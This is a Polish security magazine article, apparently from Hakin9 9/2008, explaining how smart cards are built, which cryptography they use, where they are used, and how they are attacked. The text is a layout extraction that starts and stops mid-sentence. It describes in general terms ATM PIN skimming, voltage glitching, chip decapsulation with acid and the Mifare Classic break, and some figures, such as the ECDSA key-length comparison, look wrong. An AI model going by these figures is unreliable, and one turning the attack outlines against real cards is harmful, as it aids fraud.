elektronicznym. Często określa się, że jest to
kawałek plastyku o wymiarach karty kredytowej,
z wbudowanym układem elektronicznym. Jest to
o tyle nieprawda, że jedną z najbardziej znanych
kart elektronicznych jest karta SIM, której raczej
daleko do karty kredytowej. Z technicznego
punktu widzenia te karty nie muszą się od
siebie niczym różnić – sercem karty kredytowej
może być procesor, który zazwyczaj odpowiada
wielkością karcie SIM. Trudno sobie jednak
Stopień trudności
Ochrona kart
inteligentnych
Inteligentne karty nie są na tyle bezpieczne jak nam wszystkim
się wydaje. Poznajmy ich budowę i sprawdźmy jakie rodzaje
zabezpieczeń stosują ich producenci. Dowiedz się jak są łamane
i zabezpieczane dane na smart cards.
Rysunek 1.
Karta inteligentna jako przepustka do
firmy
43
HAKIN9
OCHRONA KART INTELIGENTNYCH
9/2008
wyobrazić maleńką kartę kredytową czy
płatniczą tak dużą, jak kartę SIM (bardzo
często są one dostarczane w większej,
plastykowej obudowie). Karty są przede
wszystkim nośnikiem zabezpieczonych
danych.
Omawianego terminu używa się
często w szerszym i węższym kontekście.
W szerszym znaczeniu podział kart
przedstawia się następująco:
• ze względu na obecność
procesora: karty pamięciowe i karty
mikroprocesorowe,
• ze względu na sposób ochrony
przed niepożądanym dostępem:
karty głupie (ang. dumb cards, bez
ochrony pamięci), z wbudowaną
logiką (ang. wired logic cards,
pamięć posiada ochronę w postaci
układów logicznych), karty inteligentne
(za bezpieczeństwo odpowiada
wbudowany procesor).
Karty można jeszcze dzielić ze względu
na swoje przeznaczenie czy aspekty
użytkowe, pod kątem sposobu, w
jaki komunikują się z urządzeniami
elektronicznymi i na wiele innych
sposobów. Za najbardziej bezpieczne
uznaje się karty inteligentne. Tego terminu
można używać również na określenie
całej grupy kart, którą przed chwilą
opisałem. Niemniej bardziej właściwe
moim zdaniem jest odnoszenie terminu
smart cards tylko i wyłącznie do kart
inteligentnych, czyli posiadających
wbudowany na pokładzie procesor, a
przynajmniej układ elektroniczny. Ze
wszystkich kart do zabezpieczania
danych właśnie je uważa się za
najbezpieczniejsze, ale również za
najwygodniejsze w użytkowaniu i
konfigurowaniu.
Poza procesorem karty posiadają
jeszcze coś na kształt własnego
systemu operacyjnego, dzięki czemu
oprócz przechowywania danych mogą
wykonywać określone operacje. Z
tym, że nie mamy tutaj do czynienia z
systemem operacyjnym, przynajmniej
nie w takim znaczeniu, jakie ma ten
termin na co dzień. Jest to tak naprawdę
wyspecjalizowany kod, który odpowiada
za sterowanie pracą procesora, jak
również wykonywanie operacji (np. zapis,
opróżnianie pamięci). System posiada
zazwyczaj kilka gotowych aplikacji, których
zadaniem jest obsługa autoryzacji
oraz szyfrowanie danych w trakcie ich
transmisji.
Można wskazać dwa rodzaje
systemów operacyjnych. W pierwszym
przypadku, aby dodać jakiś nowy
element lub funkcję, należy najpierw
przekompilować system i wgrać go na
kartę od nowa. Jako przykład takiego
systemu można przytoczyć CardLogix
M.O.S.T. Takie rozwiązanie zapewnia
wprawdzie względne bezpieczeństwo,
jednakże jakakolwiek rekonfiguracja karty
to czynność wysoce skomplikowana.
Niemniej CardLogix jest w dalszym ciągu
uznawany za największego dostawcę kart
inteligentnych na świecie.
Rozwiązaniem powyższego problemu
są nowoczesne karty z systemem
operacyjnym, który nazwano Disk
Drive. Jest to nazwa rodzaju, bowiem
do najbardziej znanych systemów
operacyjnych dla kart inteligentnych
należą Microsoft Windows Card OS oraz
Java Card OS (wg różnych szacunków
na świecie jest ponad 3,5 miliarda kart
zgodnych z Javą). W ich przypadku mamy
do czynienia z aplikacją, którą można
nazwać menedżerem plików. Pozwala on
na załadowanie na kartę dodatkowych
elementów czy aplikacji, jak również na
zarządzanie zgromadzonymi na nich
danymi/plikami. Systemów operacyjnych
Disk Drive powszechnie używa się
tam, gdzie karta ma mieć długi termin
ważności (zazwyczaj są to cztery lata).
Dzięki temu ich dostawca ma pewność,
że w przypadku konieczności modyfikacji
jakichś danych, nie trzeba będzie wgrywać
na nowo całego systemu operacyjnego.
Z racji bardzo wyspecjalizowanych funkcji
(oraz możliwości i przeznaczenia kart)
aplikacje dla systemów operacyjnych
liczą sobie nie więcej niż kilka, kilkanaście
kilobajtów.
Dwoma najbardziej powszechnymi
językami programowania dla smart
cards są Java i Basic. Do tworzenia
oprogramowania używa się narzędzi
programistycznych, których najważniejszym
elementem jest emulacja procesora karty.
Rysunek 2.
Zabezpieczenia w pendrive
Rysunek 3.
Kolejne karty inteligentne
44
HAKIN9 9/2008
OBRONA
Jak działają?
Najważniejszym elementem każdej
karty jest mikroprocesor, którego
podstawową funkcją jest kontrola
odczytu i zapisu danych znajdujących
się w pamięci. Zazwyczaj w trakcie
wykonywania operacji żąda się od nas
podania numeru identyfikacyjnego PIN.
Procesor jest w stanie kontrolować liczbę
nieudanych prób i np. po przekroczeniu
określonego limitu zablokować kartę
bądź poprosić o dodatkową autoryzację.
Najlepszym przykładem będą w tym
przypadku karty SIM. Ciekawe, ilu z
Was po nieprawidłowym wprowadzeniu
numeru PIN zostało poproszonych o PUK
(dodatkowa autoryzacja), a ilu musiało
udać się do swojego operatora po
nową kartę? Mogę podejrzewać, że nie
tak znowu mały odsetek. Zarządzanie
pamięcią karty sprawia, że jej część
może służyć do przechowywania
różnego rodzaju informacji. W ten
sposób karty inteligentne stają się
urządzeniami wielofunkcyjnymi. Zdarzają
się sytuacje, w których karta parkingowa
jest jednocześnie kartą telefoniczną,
przepustką płatniczą i pełni ponadto wiele
innych funkcji.
Kolejnym ważnym elementem każdej
karty jest pamięć. Karta może zawierać
nawet kilka rodzajów pamięci:
• ROM – Read Only Memory,
• PROM – Programmable ROM – tylko
w teorii, praktycznie nie stosowana w
ICC,
• EPROM – Erasable PROM –
praktycznie nie stosowana,
• EEPROM – Electrically EPROM
– najczęściej stosowana,
• RAM – Random Access Memory.
Każda karta na pewno musi zawierać
pamięć ROM, w której przechowywany
jest system operacyjny. Jest to tzw. maska,
która określa zarazem dostęp do różnych
obszarów pamięci i sposoby zarządzania
nimi. Najczęściej stosowana pamięć
EEPROM definiowana jest często jako
pamięć nieulotna, co oznacza, że nawet
po nastąpieniu zaniku zasilania, pamięć
przechowuje dane.
Najpopularniejsze karty dzielą
zazwyczaj pamięć na trzy obszary.
Pierwszy to tzw. obszar swobodnego
odczytu. Zapisuje się dane na nim tylko
raz – podczas procesu personalizacji
karty. Znajdują się w nim podstawowe
informacje na temat samej karty i jej
posiadacza. Zazwyczaj są to imię i
nazwisko właściciela, data ważności,
numer karty i wiele innych, przydatnych np.
do identyfikacji właściciela karty.
Cała elektronika umieszczona jest
zawsze w układzie wykonywanym w
technologii CMOS, który wprasowuje
się w kartę. Układ jest wyposażony w
specjalistyczne ekranowanie, przede
wszystkim po to, aby nic nie zakłóciło
jego pracy. W zdecydowanej większości
przypadków karty nie posiadają
własnego zasilania, aczkolwiek taka
możliwość występuje teoretycznie,
a czasem nawet i praktycznie. Karta
pobiera zasilanie z czytnika. System
operacyjny do swojego startu wymaga
mniej niż sekundy.
Do korzystania z karty niezbędny jest
czytnik. Wielu zwykłych Kowalskich nie
będzie używać karty właśnie ze względu
na tę drobną niedogodność. Taki czytnik
to wydatek rzędu co najwyżej kilkunastu
złotych, podłącza się go do USB,
wykrywany jest zazwyczaj automatycznie
(ze starszymi modelami, podłączanymi
do innych rodzajów portów były faktycznie
problemy). Z czytnikami kart mamy do
czynienia prawie codziennie, chociaż
zazwyczaj jest to bardzo specyficzny
typ zwany terminalem. Widzimy je
idąc na zakupy i płacąc kartą, choć w
naszym kraju ciągle jeszcze popularne
są karty pamięciowe – bez układu
elektronicznego, gdzie czytnik korzysta
z wbudowanego w kartę paska
magnetycznego.
W odniesieniu do komunikowania
z otoczeniem możemy wyróżnić dwa
rodzaje kart – stykowe i bezstykowe.
Zacznę od tych drugich. Ich projekt
powstał pod koniec lat '70 XX w.
Komunikacja w przypadku tego rodzaju
kart odbywa się drogą radiową. Karty
bezstykowe mogą być zasilane własną
baterią (tzw. aktywne zasilanie) bądź z
czytnika, za pomocą cewki o niewielkim
zasięgu. Jest ona pobudzana przez pole
elektromagnetyczne. Stosuje się je raczej
w kartach o naprawdę małym zasięgu.
Karty bezstykowe są wygodne,
ale przede wszystkim zapewniają
szybką obsługę. Odpada konieczność
precyzyjnego wkładania do czytnika. Mają
więc one zastosowanie tam, gdzie liczy
się czas oraz gdzie przewija się duża
liczba osób. Tak może być w tramwajach,
autobusach (np. w Warszawie), w
obiektach użyteczności publicznej i
wielu innych. Do kolejnych zalet należy
z pewnością zaliczyć większą trwałość
– ponieważ karta nie zużywa się zbytnio
fizycznie, nie trzeba wymieniać ani samej
karty, ani głowic czytających. Zasięg
działania karty zależy od jej typu, tym
niemniej waha się od kilku milimetrów do
kilku metrów.
W przypadku kart sporym problemem
jest liczba standardów. Co jakiś czas
ponawiane są próby ujednolicenia
sposobu działania samych kart, jak
również czytników. Największy problem
pojawia się w przypadku systemów
operacyjnych i stosowanych w kartach
procesorów.
Najważniejsza norma związana z
budową i działaniem kart powstała jeszcze
w roku 1987. ISO 7816 charakteryzuje
właściwości fizyczne oraz komunikacyjne
stosowanych układów. Całość jest
sformułowana na tyle ogólnie, że została
zaakceptowane przez zdecydowaną
większość producentów kart. Sama
norma składa się z kilku części, dzięki
czemu producentom jest o wiele łatwiej ją
stosować.
Ciekawym uzupełnieniem normy jest
opublikowany przez amerykański instytut
badawczy (National Institute of Standards
and Technology – NIST) dokument
związany z szyfrowaniem danych. W
Security Requirements for Cryptographic
Modules (tzw. dokument FIPS 140-1)
Amerykanie opisali bezpieczeństwo
fizyczne układów CMOS, jak również
Rysunek 4.
Karta w laptopie
OCHRONA KART INTELIGENTNYCH
45
HAKIN9
9/2008
46
HAKIN9 9/2008
OBRONA
OCHRONA KART INTELIGENTNYCH
47
HAKIN9
9/2008
zdefiniowali sposób pracy modułów
kryptograficznych.
Problem ze standaryzacją jest również
tej natury, że wiele jej elementów zostało
przez Amerykanów opatentowanych i nie
jest powszechnie dostępnych. Oczywiście
nie za darmo. Część norm trzeba
kupować bezpośrednio w ISO lub ANSI.
Fiaskiem skończyły się wszystkie
dotychczasowe próby stworzenia
jednej definicji interfejsu aplikacji
funkcjonujących na kartach. Zażarta
konkurencja pomiędzy wielkimi rynku
nie pozwala na ujednolicenie sposobu
działania kart. Dla przykładu własną
specyfikację opracowały MasterCard
i Visa. W tym segmencie własną
propozycję przedstawił nawet Microsoft.
Nie jest niespodzianką, że została ona
zignorowana w zasadzie przez wszystkich.
Nic dziwnego. W powszechnym, ale
również i specjalistycznym, mniemaniu
słowa bezpieczeństwo i Microsoft to tak
jakby drogowskazy w dwie różne strony.
Niestety, korporacja pracowała i pracuje
konsekwentnie nad swoim negatywnym
wizerunkiem. Osobne specyfikacje
powstały również w samej GSM.
Ważnym elementem każdej karty
jest stosowany przez nią system
zabezpieczeń. Z racji pewnych
ograniczeń fizycznych, braku zegara
astronomicznego (co się może
oczywiście zmienić) w kartach nie była
do tej pory możliwa implementacja
niektórych zaawansowanych protokołów
kryptograficznych. Niemniej lista
potencjalnych zabezpieczeń nie jest
mała. Zerknijmy na kilka wybranych.
Pierwszy z przykładów wykorzystuje
w swoim działaniu arytmetykę grupy
punktów na krzywych eliptycznych
(inaczej schemat oparty na krzywej).
Metoda zwana ECDSA stosowana jest
na przykład w podpisach elektronicznych.
Dla porównania: zastosowanie 63-
bitowego klucza ECDSA porównywalne
jest z klasycznym kluczem o długości
1024 bitów.
Do klasycznych rodzajów
zabezpieczeń należy podpis cyfrowy
RSA. Jest to jeden z najpopularniejszych
algorytmów kryptografii asymetrycznej.
Powstał w 1978 r., zaś nazwa stanowi
akronim pierwszych liter nazwisk jego
twórców. Jego skuteczność opiera się
na trudności faktoryzacji (rozkładu na
czynniki) dużych liczb. Pewne jest, że
gdyby się komuś udało opracować na
to algorytm, to złamałby RSA. Do tej
pory nikomu się to nie powiodło, nie ma
natomiast 100% pewności, że RSA nie
można złamać w inny sposób. Niemniej
metodę uważa się za co najmniej
dostateczną. Do tej pory zanotowano
udane ataki na klucze o długości około
600 bitów. Teoretycznie więc do pewnego
stopnia możemy zaufać dłuższym
kluczom. Popularna jest opinia, że
prawdziwym zagrożeniem dla RSA będzie
skonstruowanie komputera kwantowego.
Kolejna metoda służy zabezpieczeniu
przed tzw. pasywnym podsłuchem. Jest
to protokół uzgadniania kluczy Diffiego-
Hellmana. Dwie strony komunikacji losują
pewną liczbę, którą po zastosowaniu
protokołu znają tylko one. Ta liczba może
być następnie wykorzystana jako klucz
szyfrujący. Ktoś, kto podsłuchuje, nie jest
w stanie poznać tego klucza. Słabą stroną
tego protokołu jest brak zabezpieczeń
przed próbami ingerencji w komunikację.
Z tej racji nadaje się on raczej jako
uzupełnienie pozostałych metod.
Karty nie mogły się również obyć
bez Digital Signature Algorithm
(DSA). Jest to amerykański narodowy
standard dla podpisów cyfrowych.
Przede wszystkim służy on tylko do
cyfrowego podpisywania, nie zaś
do szyfrowania komunikacji. Jest to
algorytm asymetryczny, który może
zostać wykorzystany do przesłania
informacji podprogowej. Długość kluczy,
które używa się w tym algorytmie jest
zmienna w zakresie od 512 do 1024
bitów. Wydaje się, że są one adekwatne
do współczesnych mocy obliczeniowych.
Za dający przyzwoite bezpieczeństwo
uważa się klucz o długości nie
mniejszej niż 768 bitów. Mowa jest
oczywiście o zastosowaniach cywilnych.
Klucze wykorzystują również wojskowi
amerykańscy i tam poziom zabezpieczeń
jest zdecydowanie bardziej wyśrubowany.
Na tym katalog się nie kończy. Wraz
z rozwojem technologii produkcji kart
Rysunek 5.
Czytnik kart
Rysunek 6.
Czytnik kart przy komputerze
46
HAKIN9 9/2008
OBRONA
OCHRONA KART INTELIGENTNYCH
47
HAKIN9
9/2008
istniejące protokoły są unowocześniane
– tak, że ich możliwości zdecydowanie
się zwiększają. Przy okazji wzmocnieniu
ulega również moc obliczeniowa samych
kart. Współczesne są wyposażone
często w matematyczne koprocesory,
których zadaniem jest przede wszystkim
zwiększenie szybkości operacji
kryptograficznych.
Skoro piszę o działaniu kart, warto
wspomnieć jeszcze o znajdującym się
na nich systemie plików. Jeśli mają coś
na kształt systemu operacyjnego, to
przecież system plików nie powinien być
zaskoczeniem. W myśl wspomnianej już
normy, sercem kart jest system plików
o strukturze drzewa. Jego nazwa to
SmartCard Filesystem (SCFS). Został
on oparty na uniksowych systemach
plików. Zastosowano w nim dwubajtowe
nazwy plików oraz trzy główne typy plików.
Pierwszy to Master File, czyli korzeń
drzewa katalogów. Dedicated File to
odpowiednik katalogu, zaś Elementary
File to plik z danymi. O powiązaniu
SCFS z systemami uniksowymi, a więc
i Linuksem, świadczy fakt, że w Linuksie
można bez większych problemów
zamontować kartę inteligentną w drzewie
katalogów.
Zastosowania smart cards
Zacznę od możliwości współpracy
kart z systemami operacyjnymi.
Można je wykorzystać do trzech
podstawowych operacji, jak również
wielu ich pochodnych. Pierwsza
z nich to logowanie do systemu.
Zamiast hasła korzystamy z karty.
Za pomocą kart możemy wysyłać
tzw. bezpieczne maile. W zależności
od zainstalowanego w komputerze
oprogramowania możemy je szyfrować
bądź tylko podpisywać. Wreszcie karta
może służyć do identyfikacji (właściwie
autentykacji) np. klienta. Zerknijmy na
te operacje dokładniej. Jak wyglądają
poszczególne możliwości? Ich dogłębne
przeanalizowanie jest moim zdaniem
interesujące.
Logowanie za pomocą karty będzie
wyglądało tak, jak korzystanie z niej w
bankomacie, aparacie telefonicznym
itp. Odbywa się ono w ten sposób, że
karta przesyła do systemu certyfikat
(najczęściej klucz publiczny, ale zależy
to od naszych preferencji). Wcześniej
jeszcze użytkownik może zostać
poproszony o autoryzację. Podobnie,
jak w bankomacie, może zajść
potrzeba wpisania numeru PIN. W wielu
miejscach nie pisze się o tym, że jest
to tylko jeden ze sposobów – karta nie
musi być zabezpieczona poprzez PIN.
Wysłany przez kartę klucz publiczny
jest wykorzystany do stworzenia przez
komputer tzw. wyzwania, które trafia z
powrotem do karty. Dekoduje ona je
kluczem prywatnym, po czym wysyła
odpowiedź. Logowanie polega na
zweryfikowaniu poprawności klucza
prywatnego i publicznego. W przypadku
systemów z rodziny Windows, na
podstawie danych użytkownika wysłanych
w trakcie odpowiedzi, znajduje się
odpowiednią pozycję w Active Directory.
W tej metodzie klucz prywatny w ogóle
nie opuszcza karty, przez co jest w pełni
bezpieczny. Z kolei dzięki operacjom
wykonanym na karcie system ma
pewność, że próbuje się zalogować
właściwy użytkownik.
W bardzo podobny sposób działa
drugie z opisywanych zastosowań. W
przypadku wysyłania bezpiecznego maila
prywatny klucz również nie opuszcza
karty. Szyfrowanie podpisu odbywa się
bezpośrednio na karcie. Teoretycznie
takie operacje można wykonywać na
dowolnym komputerze zaopatrzonym w
czytnik, nie tylko w naszym. Jeżeli jednak
nie dysponujemy naprawdę dobrymi
zabezpieczeniami, to szczerze odradzam.
Jeżeli nie jest to zaufany komputer, lepiej
nie ryzykować. W przypadku dobrej karty z
rzeczywiście solidnymi zabezpieczeniami
można się o to pokusić, w końcu istotą
metody jest to, że klucz pozostaje na
karcie.
Po tym, co napisałem, niewiele
mi zostaje do dodania przy ostatnim
wspomnianym zastosowaniu. Korzystając
z karty, użytkownik podpisuje się
elektronicznie poprzez szyfrowanie z
wykorzystaniem określonego klucza
prywatnego. Poza zwykłym podpisem
możliwe są również takie operacje, jak
wymiana kluczy. Istnieją nieograniczone
wręcz możliwości wykorzystania karty
we wszelkich transakcjach i komunikacji
on-line. Jedną z takich możliwości jest
przecież podpis elektroniczny, który powoli
zaczyna rozwijać skrzydła (chociaż do
nazwania go popularnym minie jeszcze
pewnie co najmniej parę lat).
Jak zauważyliście, istnieje całkiem
sporo możliwości wykorzystania kart
podczas pracy z komputerem. Nie są to
rozwiązania zbyt powszechne, zwłaszcza
w polskich warunkach. Na Zachodzie,
szczególnie w Stanach Zjednoczonych,
sytuacja jest zupełnie inna. Kraje Unii
Europejskiej stoją wprawdzie w tej materii
o wiele lepiej niż Polska, jednakże – poza
paroma wyjątkami – obywatele tych
państw nie wykorzystują w większym
stopniu kart w życiu codziennym.
Karty mają szereg innych zastosowań
na codzień. Jednym z powszechniejszych
jest wykorzystanie ich w systemach
kontroli np. pomieszczeń czy różnego
rodzaju zasobów. W wielu miejscach
wykorzystywane są wprawdzie jeszcze
karty magnetyczne (np. w hotelach, gdzie
zastępują klasyczne klucze), które są
powoli wycofywane z użytku. W Polsce
coraz bardziej popularne stają się
elektroniczne legitymacje studenckie,
które przecież nie są niczym innym, jak
po prostu rodzajem karty inteligentnej,
służącej do przechowywania zbioru
informacji. Podejrzewam, że wielu z
Czytelników posiada karty płatnicze
czy kredytowe, które są wyposażone
w procesor. Karty w dokładnie tym
samym formacie wykorzystuje się w
ubezpieczeniach, w różnego rodzaju
programach lojalnościowych. Weźmy
program Orlenu. Karta Vitay to nic
innego, jak karta inteligentna, na której
przechowywane są informacje o ilości
punktów promocyjnych jej posiadacza.
Rysunek 7.
Kolejny przenośny czytnik kart
48
HAKIN9 9/2008
OBRONA
OCHRONA KART INTELIGENTNYCH
49
HAKIN9
9/2008
Wreszcie na sam koniec pozostawię
sobie najpowszechniejsze zastosowanie
inteligentnych kart w Polsce, czyli
telefonię GSM. Na podstawie czego
to wnioskuję? Telefonów komórkowych
w Polsce jest już więcej niż Polaków.
Sercem każdego z nich (przynajmniej,
jeśli ma być podłączony do sieci)
jest karta SIM, o której już gdzieś na
początku tekstu już wspominałem. Jest
to karta inteligenta, która posiada na
pokładzie dane niezbędne do naszego
logowania się w sieci. Identyfikuje nas,
jeżeli nie jako konkretnego abonenta
(bo możemy przecież korzystać w miarę
anonimowo z prepaid), to przynajmniej
jako klienta o określonym numerze
telefonicznym. Swoją drogą zawiera
również informacje o samej sieci, z
której korzystają telefony posiadające
tzw. simlocka (blokadę umożliwiającą
działanie tylko w jednej sieci). Ponadto
karty SIM mogą przechowywać również
innego rodzaju informacje, na przykład
naszą książkę telefoniczną. Ustępują
wprawdzie w tym zastosowaniu samym
telefonom, jednakże dzięki temu mamy
dostęp do naszych kontaktów niezależnie
od posiadanego sprzętu. Z pewnością
jest to wygodne rozwiązanie dla niezbyt
wymagających użytkowników (ponieważ
na karcie można zapisać numer telefonu i
inne podstawowe dane – co nie oznacza,
że się to w przyszłości nie zmieni).
Czy inteligentne karty są tak
bezpieczne, jak się wydaje?
Wychowany w duchu powstającego
kapitalizmu, wszechobecnego piractwa,
jak również nieustających, z góry
skazanych na niepowodzenie, prób
zabezpieczenia swojej własności przed
piratami, nauczyłem się jednego. Zawsze
znajdzie się jakieś rozwiązanie, recepta
na pewną trudność. Wychodzę przy
tym z założenia, że nie ma systemów
w 100% bezpiecznych. Podobnie jest
z omawianymi kartami. Z pewnością
są trudne do złamania, jednak istnieje
wiele przykładów na to, że jest to
mimo wszystko możliwe. Co jakiś czas
słyszymy informację o tym, że np. zostały
skopiowane czyjeś karty kredytowe bądź
płatnicze. Zanim omówię rzeczywiste
przypadki łamania zabezpieczeń smart
cards, wspomnę o jeszcze jednej kwestii.
Niezależnie od tego, jakimi
zabezpieczeniami się otoczymy,
to my sami jesteśmy najsłabszym
ogniwem systemu zabezpieczeń. Jeżeli
nieopatrznie udostępnimy osobie
niepowołanej kod dostępu do naszej
karty, to żaden system bezpieczeństwa
nas nie ochroni. Przypadek numer jeden.
Sam fakt, że w przypadku bankomatów
kradzież rozpoczyna się tak naprawdę
od naszego kodu PIN, świadczy, że nie
można ot tak po prostu włamać się
do karty – a przynajmniej stanowi to
problem większy niż zdobycie samego
numeru PIN. Aby go uzyskać, złodzieje
posługują się przeróżnymi metodami,
począwszy od przemocy fizycznej, na
różnych podstępach skończywszy.
Wspomnę tylko, że co poniektórych
naprawdę powinniśmy się wystrzegać.
Przede wszystkim w miejscach
publicznych powinniśmy wpisywać PIN w
sposób dyskretny. Przy bankomacie na
pewno zaś w sposób, który przynajmniej
utrudni chociażby nagranie naszej
operacji. Zdarza się również, że sprytni
złodzieje nakładają na klawiatury
bankomatów różnego rodzaju urządzenia,
które przechwytują wszystkie wpisywane
hasła. W połączeniu z kamerką – to
wręcz zabójcza kombinacja. Istnieją
również urządzenia, które są w stanie
zeskanować naszą transmisję na tyle,
że złodziej jest w stanie wykonać dosyć
wierną imitację naszej karty. Jeżeli
jeszcze pozna PIN, to już puste konto w
zasadzie murowane. Oczywiście zawsze
może poznać kod, po czym mniej niż
grzecznie poprosić nas o oddanie mu
karty.
Czyli apeluję przede wszystkim o
naszą rozwagę. Również niewskazane
jest szafowanie numerami naszych
urządzeń na lewo i prawo. Często
podajemy, gdzie popadnie, numer naszej
karty kredytowej, czym na przykład
pozbawiamy się emerytury. Kuriozalna
wręcz sytuacja zdarzyła się na jednym z
dworców kolejowych w Polsce (zdarzyła
się ona, kiedy kończyłem niniejszy artykuł).
Mianowicie okazało się, że okienko
przy kasie jest tak skonstruowane,
że nie zmieści się przez nie terminal
umożliwiający wpisane kodu PIN karty.
Wyobraźcie sobie, że macie donośny
głos, przez co z jedną z Waszych
najważniejszych danych zapoznaje
się jakaś niepowołana osoba i kłopoty
gotowe. Jedyną receptą na tego typu
sytuacje jest trzymanie karty zawsze
przy sobie i nie ufanie zbytnio obcym
sprzedawcom.
Ataki, o których właśnie wspominałem,
to przede wszystkim działanie skierowane
na przechwycenie pewnego elementu
komunikacji i zrobienie z niego
określonego użytku. Poza tym obiektem
włamywacza może być cała karta jako
taka, bądź na przykład tylko algorytmy
szyfrowania czy tylko określone klucze. Z
kolei przy włamywaniu stosuje się dwie
podstawowe metody. W nieinwazyjnej
Rysunek 8.
Przykład reklamy
48
HAKIN9 9/2008
OBRONA
OCHRONA KART INTELIGENTNYCH
49
HAKIN9
9/2008
dane próbuje się pozyskać bez
fizycznych zniszczeń na karcie. Celem
ataku bywa przede wszystkim pamięć
EEPROM. Mogą się z nią dziać różne
dziwne rzeczy, jeżeli dostarczane do niej
napięcie podlegać będzie anomaliom.
Modyfikacji danych na wielu kartach
można dokonać chociażby zwiększając
oraz zmniejszając naprzemiennie
napięcie zasilania podawanego za
pomocą złączy. W przypadku co
najmniej kilku kart zdarzyło się, że w
wyniku takiej operacji zerowany był bit
bezpieczeństwa, czyli – mówiąc ludzkim
językiem – kasowały się zabezpieczenia.
Nie wszystkie karty podatne są na tego
typu ataki. Niemniej co jakiś czas pojawia
się informacja, że jakaś karta padła
ofiarą podobnego ataku. Producenci
próbują w różny sposób przeciwdziałać
wspomnianemu zagrożeniu. Na przykład
jedną z wielu nieudanych była próba
zainstalowania w kartach czujników
napięcia, które by zawczasu informowały,
że z kartą dzieje się coś dziwnego.
Metody inwazyjne związane są
z fizycznymi uszkodzeniami karty.
Po pierwsze, co poniektórzy zrywają
wierzchnią warstwę plastyku, aby dostać
się do wbudowanego układu karty. Po
dostaniu się do mikroprocesora, traktuje
się go często kwasem aż do ukazania się
krzemu. W tej metodzie istnieje znaczne
ryzyko uszkodzenia danych, ponieważ nie
wiadomo tak naprawdę, jak określona
karta się zachowuje. Dwie karty mogą
być niby np. z tej samej fabryki, lecz
może się okazać, że z jedną kartą się
włamywaczowi uda, podczas gdy druga
zostanie zniszczona. Dlatego łamanie
kart jest raczej zabawą dla wytrwałych.
Zwłaszcza ostatnia metoda jest więcej niż
wymagająca.
W nielicznych przypadkach zdarza się,
że złamany zostaje algorytm szyfrujący.
Czasem te pojedyncze przypadki dotyczą
produktu powszechnie dostępnego.
Często producent nie od razu przyznaje
się do luki (co niekoniecznie podyktowane
jest jakąś złą wolą, lecz na przykład
rzeczywistą chęcią zbadania problemu).
Całkiem niedawno wyszedł na światło
dzienne ciekawy przykład.
Sprawa dotyczy bezprzewodowego
systemu bezpieczeństwa Mifare
Classic. System ten jest bardzo
popularny na całym świecie (liczbę
kart na całym świecie szacuje się na
jakieś dwa miliardy). W Polsce został
zaimplementowany na przykład w
Warszawskiej Karcie Miejskiej. Ten
skądinąd stosunkowo innowacyjny – jak
na nasze warunki – program dotyczy
elektronicznego biletu długookresowego.
Nagrany na karcie bilet uaktywnia się po
pierwszym skorzystaniu. Warszawiacy,
wchodząc do środka komunikacji
po raz pierwszy, są zobowiązani do
przystawienia karty do czytnika ukrytego
w kasowniku (lub w bramce metra).
Karta zostaje wtedy aktywowana.
Można oczywiście przedłużyć jej termin
ważności. Nie jest wtedy nawet konieczne
ponowne uaktywnianie systemu. W
trakcie aktywacji termin ważności
karty można spokojnie przeczytać na
wyświetlaczu. Sprawdzić termin ważności
karty można w dowolnym momencie.
Po wygaśnięciu ważności karty może
sobie ona poleżeć w szufladzie, po
czym zostać ponownie załadowana i
uaktywniona.
Wróćmy do dziury. W kwietniu
tego roku niezależni naukowcy
opublikowali raport, który opisywał crack
umożliwiający złamanie algorytmu
szyfrującego. W marcu istnienie luk
bezpieczeństwa potwierdził holenderski
operator systemu Mifare, przyznając
równocześnie, że pierwsze sygnały o
niebezpieczeństwie pojawiły się już pod
koniec zeszłego roku – wraz z różnymi
doniesieniami o udanych atakach na
system. Sam producent nie przyznał, że
luki występują.
Okazało się, że w grudniu 2007 grupa
naukowców na konferencji w Berlinie
przedstawiła dowody, zgodnie z którymi
algorytm szyfrujący da się złamać w kilka
minut i to na zwykłym komputerze. Z kolei
holenderscy naukowcy z Uniwersytetu w
Nijmegen przedstawili metodę, w myśl
której wystarczy przygotować specjalną
tabelkę (opartą na wcześniej już
rozpracowanym algorytmie), dzięki której
klucz bezpieczeństwa można złamać
bez większych trudności. Producent
wprawdzie nie przyznał się bezpośrednio
do istnienia luk bezpieczeństwa, jednak
zapowiedział wprowadzenie nowej,
ulepszonej wersji karty z odmiennymi
(czytaj: lepszymi) mechanizmami
szyfrującymi.
Niedoskonałości mogą leżeć również
po stronie algorytmów szyfrujących
– zwłaszcza, jeżeli korzystamy z nich
niewłaściwie (bądź wybierzemy byle jaką
kartę). Okazuje się, że najpoważniejszym
grzechem producentów kart jest częste
stosowanie oprogramowania, które
nie spełnia wymogów bezpieczeństwa.
Przede wszystkim chodzi o źle
zaprojektowane samo oprogramowanie,
zły dobór algorytmów czy ich
niewłaściwe zaimplementowanie na
karcie. Wreszcie zdarza się często, że
producent tak jakby nie zdawał sobie
sprawy z istnienia jakiejś metody na
złamanie szyfru.
Dużym błędem jest nie tylko
niewłaściwy dobór algorytmu, lecz
przede wszystkim ślepe zaufanie
do bezpieczeństwa określonej
metody. Weźmy na przykład klucz
kryptograficzny ECDSA, który jest
jednym z popularniejszych stosowanych
narzędzi, a przy okazji jest uznawany
za naprawdę bezpieczny. Zdarzyło się
przynajmniej kilka przypadków jego
złamania. W pewnym systemie skupiono
się na zastosowaniu nowoczesnego,
113-bitowego klucza kryptograficznego.
Sam klucz nie zawiódł, przynajmniej nie
bezpośrednio. Włamywacze wykorzystali
fakt, że w trakcie tworzenia systemu nikt
nie pomyślał o zabezpieczeniu samej
komunikacji, która miała formę względnie
otwartą. Włamywacze przechwycili
komunikat z prywatnym kluczem ECC,
dzięki któremu znaleźli luki w systemie i je
z kolei wykorzystali do złamania klucza. Na
zdarzeniu ucierpiał wizerunek firmy znanej
z instalowania systemów zabezpieczeń.
Z tym, że sam algorytm bezpieczeństwa
okazał się naprawdę mocnym
punktem systemu – po prostu w fazie
implementacji pozostawiono znaczne
W Sieci
• http://www.cert.pl,
• http://www.dobreprogramy.pl,
• http://www.idg.pl,
• http://www.securitywortal.pl,
• http://www.heise-online.pl,
• http://http://osnews.pl,
• http://http://securitystandard.pl,
• i wiele, wiele innych.
50
HAKIN9 9/2008
OBRONA
możliwości do dokonania włamania. Sam
klucz może być nie do złamania, trzeba
jednak pamiętać, że oprogramowanie
pracuje na tzw. krytycznym strumieniu
danych, który jest zarazem kluczem
deszyfrującym. Jeżeli nie zabezpieczymy
tego strumienia danych, to kwestia
